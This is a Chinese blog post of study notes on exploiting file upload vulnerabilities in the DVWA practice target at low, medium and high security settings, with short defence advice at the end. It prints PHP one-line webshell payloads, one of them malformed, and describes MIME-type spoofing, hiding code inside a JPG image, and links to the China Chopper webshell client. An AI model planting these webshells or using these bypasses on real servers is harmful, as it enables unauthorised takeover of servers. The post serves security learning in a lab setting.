您的位置:首页 > 其它

Web安全渗透学习-文件上传漏洞

2019-07-12 14:21 435 查看

Web安全渗透-学习笔记-文件上传漏洞

需要使用的工具1:中国菜刀
下载链接:https://pan.baidu.com/s/1CJc3twnSaWVv9BsJ9KzmEA 提取码:cor1
需要使用的工具2: edjpgcom
下载链接:链接:https://pan.baidu.com/s/1XDZq9goC6zW6j4uSs9DM2A 提取码:xcet
工具都来源于网络,出现任何问题本人概不负责 =.= (自己用的途中好像没啥问题,除了报毒)

文件上传漏洞原理

所谓文件上传漏洞,就是利用上传相应的可执行脚本文件到服务器上,使我们能够获得服务器的操作权限。可执行的脚本文件有很多,这里就拿PHP的一句话木马举例:

<?php @eval($_POST[value]);?>

这里面的 value 可以换成其他任意的,这个表示连接被植入可执行代码服务器的密码。我们在把它保存为一个php文件后,就可以想办法上传到服务器上面。上传上去后我们就可以通过“中国菜刀”连接上目标服务器,对它进行操作管理。

  • 进入OWASPBWA中的DVWA漏洞
  • 进入文件上传漏洞界面-用户名和密码都为 admin

文件上传漏洞安全级别

在OWASPBWA靶机中,文件上传漏洞包含了三个级别,分别是:低安全级别、中安全级别、高安全级别,每个安全级别对应的模式也不同。

低安全级别

低安全级别是真的不安全,目标系统由于没有对上传的文件进行限制,所以原本是让我们上传图片,但是我们却可以上传其他类型的文件,比如一些php木马文件等,在该安全级别下,我们可以直接上传可执行脚本文件文件到网站上,然后通过安全工具直接连接目标系统,对目标系统进行连接操作。

  • 上传一句话木马文件-点击打开后再点击upload
  • 验证文件


回车后出现如下空白界面属于正常的

  • 在OWASP上验证文件是否成功上传
    -
  • 通过菜刀连接(内啥,杀毒软件关了,不然会被杀掉……)
  • 打开后按照步骤进行操作
  • 成功添加后可以对机器进行管理,这里我们选择文件管理

  • 进入系统后的相关界面展示

中安全级别

心态炸裂,幸幸苦苦写一半的时候突然跑去开了代理,我说突然不能上传图片了,还以为是平台的问题,然后重新继续写……

中安全级别相对于低安全级别而言,对文件类型进行了限制,正常情况下,我们只能上传图片文件。但是我们可以通过代理,然后修改我们上传文件的mime的类型。具体mime类型介绍可参考网络文献。中安全级别下我们通过代理服务器修改我们上传文件的mime类型,就可以上传不是图片的文件。比如我们还是上传php木马,我们开启了代理功能后,在网页内上传文件时,我们的代理服务器会劫持到我们的请求,然后我们通过修改上传文件类型,比如php类型应该为"application"类型,我们把它修改为"image/jpeg",然后在让代理服务器把该请求转发过去,这时候我们上传的文件类型本来是可执行的php文件,但是通过代理修改了类型过后,目标服务器接收到的请求是上传了一个图片文件,所以这时候脚本文件就成功上传,然后就可以通过安全工具连接目标系统进行连接操作了。

  • 修改安全级别为中安全级别

  • 打开文件上传漏洞(与前面操作步骤一致)

  • 测试中安全级别下php文件的上传
    发现文件无法上传,这是因为后台对上传文件的 mime 类型进行了限制,mime的前面有大致提过,具体的详细信息可以百度去深入了解。

  • 设置本机的代理服务器
    Win10的机器设置代理方法是鼠标右击任务栏上的网络图标–选择 打开“网络和internet设置” – 选择代理–设置相关内容

  • 设置Kali下的代理

  • 回到测试主机,再次进行文件上传操作。

  • 然后点击Upload后进入Kali主机的工具中,如下图所示:修改图中标记内容为image/jpeg 后点击Forward

  • 7ff7 回到测试主机,发现中安全模式下上传php文件成功

  • 后续步骤和低安全模式操作基本一致。

2019年7月12日,找了一个周的工作还没找到合适的,好烦啊 =。=

高安全级别

需要用到的工具
高安全级别,正如它的名字一样,该安全级别下,服务器对上传的文件进行了扩展名的限制,比如它限制了只能上传jpg格式的图片,然后我们上传其他类型文件时就无法成功上传,并且就算我们利用中安全级别的代理修改mime文件类型也没有用,因为服务器是限制了扩展名,我们虽然修改了mime类型,但是原来的扩展名还是“.php”,所以该方法就不适用了。这时候只能老老实实的上传图片,但是我们可以对图片进行一些处理,让我们的代码植入到图片之中,然后将图片上传到服务器上面,可是你以为带有木马代码的图片上传上去就可以进入对方系统了吗?NO,因为我们上传的图片虽然有代码,但是我们的代码还没有执行,我们想办法执行图片里面的代码后才能正常的进入目标系统。具体怎么让代码执行,我们需要用到文件包含漏洞的知识,利用文件包含漏洞来使图片里面的代码执行,然后执行后通过安全工具进行目标系统的连接操作。相关知识后面学习。

  • 设置安全级别为高安全级别,在高安全级别下对上传的文件类型的扩展名做了限制,只能上传后缀名为jpg或者其他图像格式的文件。
  • 由于限制了上传文件的扩展名,所以老实上传图片,但是我们可以给图片植入相关木马脚本,然后通过执行图片的内容生成一句话木马文件过后就可以通过菜刀连接。
  • 给图片植入木马脚本
<? fputs(fopen("muma.php"),"w"),'<?php eval($_POST[cmd];?>')?>

打开edjpgcom工具的文件夹,文档开头有下载链接


  • 上传带有木马的图片(正常上传即可),并检测图片中的代码是否正常的被写入。
  • 后续步骤在文件包含漏洞中继续操作

文件上传漏洞防御

文件上传一般都是用于头像之类的地方,我们应该要对上传的文件做基本的限制,比如设置头像时我们就只能让用户上传图片,不允许上传其他文件。但是上传图片的话也有一定的风险,因为别人有可能把可执行代码植入到图片中将图片上传后通过其他漏洞执行该代码,从而取得我们服务器的管理权限。并且,别人要想获得我们服务器的权限,他需要知道他上传的文件在哪个位置,所以我们应该不能让上传文件所保存的路径暴露出来,这样相对来说安全一点,因为让别人知道问价保存的路劲后,也许会通过其他更简便的手段获取到服务器的管理权限。

结尾

视频看完了好久,然后突然操作的时候发现很多都不会,所以通过这样一边操作一边写博客的模式来加深自己对该知识的印象。视频是在B站看的-千锋教育-杨哥,博客内容的步骤也是基本来源于效仿视频里的内容。
链接: 视频链接.
哪忘了就继续回去复习

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: